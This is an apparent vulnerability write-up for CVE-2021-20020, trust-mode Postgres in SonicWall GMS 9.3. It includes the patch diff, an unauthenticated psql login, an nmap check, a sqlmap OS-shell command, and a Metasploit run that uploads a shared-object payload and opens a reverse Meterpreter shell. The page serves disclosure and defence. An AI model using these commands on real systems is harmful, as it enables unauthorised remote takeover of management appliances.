Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2021-20020

Disclosure Date: April 10, 2021
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated

Description

A command execution vulnerability in SonicWall GMS 9.3 allows a remote unauthenticated attacker to locally escalate privilege to root.

Add Assessment

2
Ratings
Technical Analysis

CVE-2021-20020?

Seems to be Postgres running in trust mode on TCP port 5029, which essentially equates to unauthenticated access as the Postgres superuser. This can, of course, be leveraged to achieve RCE. Privilege escalation presumably follows.

Patch

diff --git a/com/sonicwall/appliance/util/DatabaseUpdate.java b/com/sonicwall/appliance/util/DatabaseUpdate.java
index 191c850..1578952 100644
--- a/com/sonicwall/appliance/util/DatabaseUpdate.java
+++ b/com/sonicwall/appliance/util/DatabaseUpdate.java
@@ -378,6 +378,7 @@ public class DatabaseUpdate

     }
     else if (ibdbengine.equalsIgnoreCase("postgres") && !ApplianceUtil.isFlowAgentEnabled(applianceRole) && !ApplianceUtil.isFlowForwarder(applianceRole)) {
+      checkPostgresAccessMode(dbug);
       ApplianceUtil.setPostgresMemory(ramMB);
       SharedUtils.writeFile(dbug, " -> Set IB(postgres) memory completed.\n", doAppend);
     }
@@ -1342,6 +1343,97 @@ public class DatabaseUpdate
     SharedUtils.writeFile(dbug, " -> Database update completed @ " + new Date() + ".\n", doAppend);
   }

+  private void checkPostgresAccessMode(File dbug) {
+    try {
+      String pgDataPath = SharedUtils.getPGDataDirectory(installDir);
+      SharedUtils.writeFile(dbug, " -> Report database PG directory : " + pgDataPath + ".\n", true);
+      File hbConfFile = new File(pgDataPath + File.separator + "pg_hba.conf");
+      if (hbConfFile.exists()) {
+        boolean isOnTrustMode = false;
+        try (BufferedReader br = new BufferedReader(new FileReader(hbConfFile))) {
+          String line = null;
+          while ((line = br.readLine()) != null) {
+            if (line.trim().startsWith("host") && line.contains("trust")) {
+              isOnTrustMode = true;
+              break;
+            }
+          }
+        }
+        if (isOnTrustMode) {
+          SharedUtils.writeFile(dbug, " -> Postgres is on trust mode. It needs to be changed..\n", true);
+
+          boolean startService = ApplianceUtil.modifyServices(new String[] { ApplianceUtil.REPORT_DATABASE_SERVICE }, ApplianceUtil.START_SERVICE);
+          if (startService) {
+            SharedUtils.writeFile(dbug, " -> Report database service has been STARTED : " + startService + ".\n", true);
+            Class.forName("org.postgresql.Driver").newInstance();
+            String url = "jdbc:postgresql://127.0.0.1:5029/postgres";
+            try(Connection conn = DriverManager.getConnection(url, "postgres", "");
+                Statement stmt = conn.createStatement()) {
+
+
+              try {
+                String S_STRING = "2D2624C80F73C1B77C4A091581F3AD25";
+                stmt.executeUpdate("ALTER USER postgres WITH PASSWORD '" + TEAV.decryptText(S_STRING) + "'");
+                SharedUtils.writeFile(dbug, " -> Report database super user password set succesfully.\n", true);
+              } catch (Exception e) {
+                LogUtil.logError(e, "Error while setting super user password : " + e.getMessage(), "checkPostgresAccessMode", "DatabaseUpdate");
+                SharedUtils.writeFile(dbug, " -> Error while setting super user password. Error : " + e.getMessage() + ".\n", true);
+              }
+
+            } catch (SQLException sqe) {
+
+              SharedUtils.writeFile(dbug, " -> EMPTY password failed, which means the root password was already set. Error : " + sqe.getMessage() + ".\n", true);
+            }
+          }
+
+          boolean stopService = ApplianceUtil.modifyServices(new String[] { ApplianceUtil.REPORT_DATABASE_SERVICE }, ApplianceUtil.STOP_SERVICE);
+          SharedUtils.writeFile(dbug, " -> Report database service has been STOPPED : " + stopService + ".\n", true);
+
+          File hbConfTrustFile = new File(pgDataPath + File.separator + "pg_hba_do_not_use_" + (System.currentTimeMillis() / 1000L) + ".conf");
+          boolean rename = hbConfFile.renameTo(hbConfTrustFile);
+          if (!rename) {
+            rename = (hbConfTrustFile.delete() && hbConfFile.renameTo(hbConfTrustFile));
+          }
+          SharedUtils.writeFile(dbug, " -> Rename existing hba conf file : " + rename + ".\n", true);
+          if (rename) {
+            try(BufferedReader br = new BufferedReader(new FileReader(hbConfTrustFile));
+                BufferedWriter bw = new BufferedWriter(new FileWriter(hbConfFile))) {
+              String line = null;
+              while ((line = bufferedReader.readLine()) != null) {
+                if (line.trim().startsWith("host") || line.trim().startsWith("#host") || line.trim().startsWith("local") || line.trim().startsWith("#local")) {
+                  bw.write(line.replaceAll("trust", "md5"));
+                } else {
+                  bw.write(line);
+                }
+                bw.newLine();
+              }
+              bw.flush();
+              SharedUtils.writeFile(dbug, " -> Updated the mode of access to MD5 for all the hosts.\n", true);
+            }
+            if (SharedUtils.isLinux()) {
+              ApplianceProcessRunner proc = new ApplianceProcessRunner();
+              proc.exec("chown -R postgres:postgres " + pgDataPath + File.separator + "pg_hba.conf");
+              SharedUtils.writeFile(dbug, " -> updated hba conf file permissios.\n", true);
+            }
+            SharedUtils.writeFile(dbug, " -> Delete backup hba conf file : " + hbConfTrustFile.delete() + ".\n", true);
+            startService = ApplianceUtil.modifyServices(new String[] { ApplianceUtil.REPORT_DATABASE_SERVICE }, ApplianceUtil.START_SERVICE);
+            SharedUtils.writeFile(dbug, " -> Report database service has been STARTED : " + startService + ".\n", true);
+          } else {
+            SharedUtils.writeFile(dbug, " -> Rename of existing hba conf file failed..!!!!!!.\n", true);
+          }
+        } else {
+          SharedUtils.writeFile(dbug, " -> pg_hba.conf file has all md5. No changes required..\n", true);
+        }
+      } else {
+        SharedUtils.writeFile(dbug, " -> pg_hba.conf file does noit exist in PG Data Directory : " + pgDataPath + ".\n", true);
+      }
+    } catch (Exception e) {
+      SharedUtils.writeFile(dbug, " -> ERROR while checking trust mode in hba conf file. Error : " + e.getMessage() + ".\n", true);
+      LogUtil.logError(e, e.getMessage(), "checkPostgresAccessMode", "DatabaseUpdate");
+      LogUtil.printStackTrace(e);
+    }
+  }
+

PoC

wvu@kharak:~$ psql -U postgres -h 192.168.123.133 -p 5029
psql (13.2, server 9.2.2)
Type "help" for help.

postgres=# \du
                             List of roles
 Role name |                   Attributes                   | Member of
-----------+------------------------------------------------+-----------
 postgres  | Superuser, Create role, Create DB, Replication | {}

postgres=# \l
                                  List of databases
   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges
-----------+----------+----------+-------------+-------------+-----------------------
 postgres  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
 template0 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
 template1 | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
(3 rows)

postgres=#

Check

wvu@kharak:~$ nmap -Pn -n -v -p 5029 --script +pgsql-brute --script-args userdb=<(echo postgres),passdb=<(echo CVE-2021-20020) 192.168.123.133
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-29 17:13 CDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 17:13
Completed NSE at 17:13, 0.00s elapsed
Initiating Connect Scan at 17:13
Scanning 192.168.123.133 [1 port]
Discovered open port 5029/tcp on 192.168.123.133
Completed Connect Scan at 17:13, 0.00s elapsed (1 total ports)
NSE: Script scanning 192.168.123.133.
Initiating NSE at 17:13
Completed NSE at 17:13, 0.01s elapsed
Nmap scan report for 192.168.123.133
Host is up (0.00073s latency).

PORT     STATE SERVICE
5029/tcp open  infobright
| pgsql-brute:
|_  postgres => Trusted authentication

NSE: Script Post-scanning.
Initiating NSE at 17:13
Completed NSE at 17:13, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
wvu@kharak:~$

Exploit

wvu@kharak:~$ sqlmap -d postgresql://postgres:CVE-2021-20020@192.168.123.133:5029/postgres --os-shell
[snip]
os-shell> id
[19:13:28] [INFO] resumed: [[u'uid=104(postgres) gid=104(postgres) groups=104(postgres)']]...
command standard output: 'uid=104(postgres) gid=104(postgres) groups=104(postgres)'
os-shell> uname -a
[19:13:29] [INFO] resumed: [[u'Linux gms.example.com 3.18.44-snwl-VMWare-x64 #1 SMP Tue Jan 5 20:04:11 PST 2021 x86_64 GNU/Linux']]...
command standard output: 'Linux gms.example.com 3.18.44-snwl-VMWare-x64 #1 SMP Tue Jan 5 20:04:11 PST 2021 x86_64 GNU/Linux'
os-shell>
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Trying postgres:CVE-2021-20020@192.168.123.133:5029/postgres
[*] 192.168.123.133:5029 Postgres - querying with 'select version()'
[*] 192.168.123.133:5029 - PostgreSQL 9.2.2 (IB_33928), shared on x86_64-unknown-linux-gnu, compiled by gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-44), 64-bit
[*] 192.168.123.133:5029 Postgres - querying with 'select lo_creat(-1)'
[*] 192.168.123.133:5029 Postgres - querying with 'delete from pg_largeobject where loid=16556'
[*] 192.168.123.133:5029 Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16556, 0, decode('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', 'base64'))'
[*] 192.168.123.133:5029 Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16556, 1, decode('sAMAAAAAAACwAwAAAAAAAFoAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAQgAAAAEAAAADAAAAAAAAABAUAAAAAAAAEAQAAAAAAACDAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAAEAAAAGAAAAAwAAAAAAAACgFAAAAAAAAKAEAAAAAAAAAAEAAAAAAAACAAAAAAAAABAAAAAAAAAAEAAAAAAAAABIAAAADgAAAAMAAAAAAAAAoBUAAAAAAACgBQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAVAAAAAEAAAADAAAAAAAAAKgVAAAAAAAAqAUAAAAAAABIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAF0AAAADAAAAAAAAAAAAAAAAAAAAAAAAAHAJAAAAAAAAZwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAALmR5bmFtaWMALnJvZGF0YQAuZHluc3RyAC5oYXNoAC5yZWxhLnBsdAAucmVsYS5keW4ALmR5bnN5bQAudGV4dAAuZGF0YQAuaW5pdF9hcnJheQAuZ290LnBsdAAuc2hzdHJ0YWIA', 'base64'))'
[*] 192.168.123.133:5029 Postgres - querying with 'select lo_export(16556, '/tmp/LioDnmLR.so')'
[*] Uploaded as /tmp/LioDnmLR.so, should be cleaned up automatically
[*] 192.168.123.133:5029 Postgres - querying with 'create or replace function pg_temp.fyUNIYwYUo() returns void as '/tmp/LioDnmLR.so','fyUNIYwYUo' language c strict immutable'
[*] 192.168.123.133:5029 Postgres - Disconnected
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 192.168.123.133
[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.133:50512) at 2021-04-30 14:17:03 -0500

meterpreter > getuid
Server username: postgres @ gms.example.com (uid=104, gid=104, euid=104, egid=104)
meterpreter > sysinfo
Computer     : gms.example.com
OS           :  (Linux 3.18.44-snwl-VMWare-x64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • SonicWall

Products

  • Global Management System (GMS)

Additional Info

Technical Analysis